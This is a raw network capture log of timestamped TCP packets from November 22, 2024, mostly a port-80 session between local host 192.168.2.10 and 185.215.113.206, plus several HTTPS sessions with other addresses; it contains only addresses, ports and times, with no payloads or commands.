Nov 22, 2024 17:08:57.109097958 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.109159946 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.110476017 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.110548973 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.110649109 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.112209082 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.112262964 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.112303019 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.112381935 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.113531113 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.113543987 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.113593102 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.113624096 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.114928007 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.114984035 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.115050077 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.115191936 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.116339922 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.116467953 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.116511106 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.117858887 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.117912054 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.117984056 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.118076086 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.119374990 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.119448900 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.119692087 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.120829105 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.120934010 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.120959044 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.122251034 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.122306108 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.122383118 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.123061895 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.123718023 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.123756886 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.124516964 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.132360935 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.132508993 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.132520914 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.132625103 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.132625103 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.133691072 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.133749008 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.133755922 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.133966923 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.135308027 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.135495901 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.135519028 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.135550976 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.136589050 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.136670113 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.136698008 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.136729956 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.137998104 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.138072014 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.138118029 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.139448881 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.139501095 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.163096905 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.163161039 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.181725979 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.181741953 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.181808949 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.182219982 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.182279110 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.182305098 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.182425976 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.183653116 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.183685064 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.183703899 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.183737993 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.185585976 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.185666084 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.185682058 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.185923100 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.186991930 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.187041044 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.187071085 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.187330008 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.187701941 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.187750101 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.187813044 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.188602924 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.188684940 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.188734055 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.189507008 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.189560890 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.189615011 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.189707041 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.190180063 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.190222979 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.190222979 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.190234900 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.190314054 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.191164017 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.191175938 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.191239119 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.191286087 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.192120075 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.192131996 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.192142963 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.192174911 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.192202091 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.192980051 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.193043947 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.193047047 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.193058014 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.193089008 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.193922043 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.193969965 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.193994999 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.194008112 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.194055080 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.194890022 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.194951057 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.194962025 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.194998980 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.195027113 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.195796013 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.195861101 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.195872068 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.195883989 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.196142912 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.196829081 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.196885109 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.196917057 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.196928024 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.197001934 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.197674990 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.197702885 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.197715044 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.197762012 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.198623896 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.198668957 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.198753119 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.198764086 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.198914051 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.270597935 CET	49781	443	192.168.2.10	162.159.61.3
Nov 22, 2024 17:08:57.270801067 CET	443	49781	162.159.61.3	192.168.2.10
Nov 22, 2024 17:08:57.270875931 CET	49781	443	192.168.2.10	162.159.61.3
Nov 22, 2024 17:08:57.275085926 CET	49788	443	192.168.2.10	13.107.246.40
Nov 22, 2024 17:08:57.275122881 CET	443	49788	13.107.246.40	192.168.2.10
Nov 22, 2024 17:08:57.275228977 CET	49789	443	192.168.2.10	13.107.246.40
Nov 22, 2024 17:08:57.275239944 CET	49788	443	192.168.2.10	13.107.246.40
Nov 22, 2024 17:08:57.275269985 CET	443	49789	13.107.246.40	192.168.2.10
Nov 22, 2024 17:08:57.275336027 CET	49789	443	192.168.2.10	13.107.246.40
Nov 22, 2024 17:08:57.275561094 CET	49788	443	192.168.2.10	13.107.246.40
Nov 22, 2024 17:08:57.275574923 CET	443	49788	13.107.246.40	192.168.2.10
Nov 22, 2024 17:08:57.275696993 CET	49789	443	192.168.2.10	13.107.246.40
Nov 22, 2024 17:08:57.275711060 CET	443	49789	13.107.246.40	192.168.2.10
Nov 22, 2024 17:08:57.277487993 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.277508020 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.277519941 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.277565002 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.277586937 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.277909994 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.277959108 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.277970076 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.277988911 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.278012991 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.278805017 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.278842926 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.278868914 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.278879881 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.278903961 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.278919935 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.279684067 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.279726028 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.279742002 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.279753923 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.279783964 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.280733109 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.280745029 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.280770063 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.280771971 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.280791044 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.280812979 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.281624079 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.281666040 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.281836987 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.281847954 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.281877041 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.282784939 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.282824993 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.282835960 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.282841921 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.282866955 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.283433914 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.283472061 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.283483028 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.283483982 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.283508062 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.283524036 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.284369946 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.284471989 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.284482956 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.284508944 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.284533024 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.285245895 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.285284042 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.285334110 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.285345078 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.285379887 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.285404921 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.286144018 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.286194086 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.286204100 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.286216974 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.286246061 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.286246061 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.287091017 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.287103891 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.287113905 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.287141085 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.287167072 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.288002014 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.288014889 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.288027048 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.288053036 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.288084984 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.289019108 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.289038897 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.289048910 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.289078951 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.289098978 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.289103031 CET	443	49780	162.159.61.3	192.168.2.10
Nov 22, 2024 17:08:57.289165974 CET	443	49780	162.159.61.3	192.168.2.10
Nov 22, 2024 17:08:57.289370060 CET	49780	443	192.168.2.10	162.159.61.3
Nov 22, 2024 17:08:57.289562941 CET	49780	443	192.168.2.10	162.159.61.3
Nov 22, 2024 17:08:57.289577007 CET	443	49780	162.159.61.3	192.168.2.10
Nov 22, 2024 17:08:57.289813042 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.289856911 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.289869070 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.289897919 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.289928913 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.290749073 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.290786028 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.290827990 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.290838957 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.290869951 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.290889025 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.291821003 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.291867971 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.291960955 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.292006016 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.310465097 CET	443	49785	162.159.61.3	192.168.2.10
Nov 22, 2024 17:08:57.310730934 CET	49785	443	192.168.2.10	162.159.61.3
Nov 22, 2024 17:08:57.310759068 CET	443	49785	162.159.61.3	192.168.2.10
Nov 22, 2024 17:08:57.311198950 CET	443	49785	162.159.61.3	192.168.2.10
Nov 22, 2024 17:08:57.311585903 CET	49785	443	192.168.2.10	162.159.61.3
Nov 22, 2024 17:08:57.311656952 CET	443	49785	162.159.61.3	192.168.2.10
Nov 22, 2024 17:08:57.339092970 CET	443	49782	162.159.61.3	192.168.2.10
Nov 22, 2024 17:08:57.339173079 CET	443	49782	162.159.61.3	192.168.2.10
Nov 22, 2024 17:08:57.339230061 CET	49782	443	192.168.2.10	162.159.61.3
Nov 22, 2024 17:08:57.339705944 CET	49782	443	192.168.2.10	162.159.61.3
Nov 22, 2024 17:08:57.339728117 CET	443	49782	162.159.61.3	192.168.2.10
Nov 22, 2024 17:08:57.359066963 CET	49785	443	192.168.2.10	162.159.61.3
Nov 22, 2024 17:08:57.370090961 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.414191008 CET	443	49784	162.159.61.3	192.168.2.10
Nov 22, 2024 17:08:57.414622068 CET	49784	443	192.168.2.10	162.159.61.3
Nov 22, 2024 17:08:57.414632082 CET	443	49784	162.159.61.3	192.168.2.10
Nov 22, 2024 17:08:57.415654898 CET	443	49784	162.159.61.3	192.168.2.10
Nov 22, 2024 17:08:57.415708065 CET	49784	443	192.168.2.10	162.159.61.3
Nov 22, 2024 17:08:57.416047096 CET	49784	443	192.168.2.10	162.159.61.3
Nov 22, 2024 17:08:57.416106939 CET	443	49784	162.159.61.3	192.168.2.10
Nov 22, 2024 17:08:57.457578897 CET	49784	443	192.168.2.10	162.159.61.3
Nov 22, 2024 17:08:57.457592964 CET	443	49784	162.159.61.3	192.168.2.10
Nov 22, 2024 17:08:57.489955902 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.499958992 CET	49784	443	192.168.2.10	162.159.61.3
Nov 22, 2024 17:08:57.503758907 CET	49790	443	192.168.2.10	23.200.0.6
Nov 22, 2024 17:08:57.503793955 CET	443	49790	23.200.0.6	192.168.2.10
Nov 22, 2024 17:08:57.503936052 CET	49790	443	192.168.2.10	23.200.0.6
Nov 22, 2024 17:08:57.504117966 CET	49790	443	192.168.2.10	23.200.0.6
Nov 22, 2024 17:08:57.504133940 CET	443	49790	23.200.0.6	192.168.2.10
Nov 22, 2024 17:08:57.504393101 CET	443	49786	162.159.61.3	192.168.2.10
Nov 22, 2024 17:08:57.504616022 CET	49786	443	192.168.2.10	162.159.61.3
Nov 22, 2024 17:08:57.504637957 CET	443	49786	162.159.61.3	192.168.2.10
Nov 22, 2024 17:08:57.504981041 CET	443	49786	162.159.61.3	192.168.2.10
Nov 22, 2024 17:08:57.505280018 CET	49786	443	192.168.2.10	162.159.61.3
Nov 22, 2024 17:08:57.505353928 CET	443	49786	162.159.61.3	192.168.2.10
Nov 22, 2024 17:08:57.545633078 CET	49786	443	192.168.2.10	162.159.61.3
Nov 22, 2024 17:08:57.590595961 CET	443	49787	162.159.61.3	192.168.2.10
Nov 22, 2024 17:08:57.590955973 CET	49787	443	192.168.2.10	162.159.61.3
Nov 22, 2024 17:08:57.590987921 CET	443	49787	162.159.61.3	192.168.2.10
Nov 22, 2024 17:08:57.592175007 CET	443	49787	162.159.61.3	192.168.2.10
Nov 22, 2024 17:08:57.592248917 CET	49787	443	192.168.2.10	162.159.61.3
Nov 22, 2024 17:08:57.592572927 CET	49787	443	192.168.2.10	162.159.61.3
Nov 22, 2024 17:08:57.592643023 CET	443	49787	162.159.61.3	192.168.2.10
Nov 22, 2024 17:08:57.639733076 CET	49787	443	192.168.2.10	162.159.61.3
Nov 22, 2024 17:08:57.639770031 CET	443	49787	162.159.61.3	192.168.2.10
Nov 22, 2024 17:08:57.685842037 CET	49787	443	192.168.2.10	162.159.61.3
Nov 22, 2024 17:08:57.741430998 CET	49791	443	192.168.2.10	20.25.227.174
Nov 22, 2024 17:08:57.741468906 CET	443	49791	20.25.227.174	192.168.2.10
Nov 22, 2024 17:08:57.741781950 CET	49791	443	192.168.2.10	20.25.227.174
Nov 22, 2024 17:08:57.741782904 CET	49791	443	192.168.2.10	20.25.227.174
Nov 22, 2024 17:08:57.741832018 CET	443	49791	20.25.227.174	192.168.2.10
Nov 22, 2024 17:08:57.828073025 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.828130007 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.828141928 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.828147888 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.828174114 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.828450918 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.828500032 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.828651905 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.828691959 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.828748941 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.828759909 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.828795910 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.829571962 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.829613924 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.829613924 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.829624891 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.829670906 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.830492020 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.830528975 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.830562115 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.830574036 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.830596924 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.830622911 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.831413031 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.831463099 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.831474066 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.831484079 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.831495047 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.831518888 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.832331896 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.832391024 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.832417011 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.832428932 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.832459927 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.833239079 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.833285093 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.833317041 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.833328962 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.833345890 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.833363056 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.836951971 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.836965084 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.836976051 CET	80	49747	185.215.113.206	192.168.2.10
